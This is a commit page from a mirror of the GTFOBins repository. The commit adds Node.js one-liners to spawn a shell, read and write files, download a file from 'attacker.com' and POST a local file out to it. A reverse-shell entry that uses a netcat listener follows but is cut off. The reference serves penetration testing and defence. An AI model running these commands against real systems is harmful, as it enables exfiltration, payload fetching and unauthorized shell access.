1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-03-28 09:49:55 +01:00

Add Node.js file-{read,write,upload,download}

Close #172.
This commit is contained in:
Andrea Cardaci 2021-02-20 12:17:28 +01:00
parent af95091e60
commit eca7899007

View File

@ -3,6 +3,22 @@ functions:
shell:
- code: |
node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
file-write:
- code: node -e 'fs.writeFileSync("file_to_write", "DATA")'
file-read:
- code: node -e 'process.stdout.write(fs.readFileSync("/bin/ls"))'
file-download:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
node -e 'http.get(process.env.URL, res => res.pipe(fs.createWriteStream(process.env.LFILE)))'
file-upload:
- description: Send a local file via HTTP POST request.
code: |
export URL=http://attacker.com
export LFILE=file_to_send
node -e 'fs.createReadStream(process.env.LFILE).pipe(http.request(process.env.URL))'
reverse-shell:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |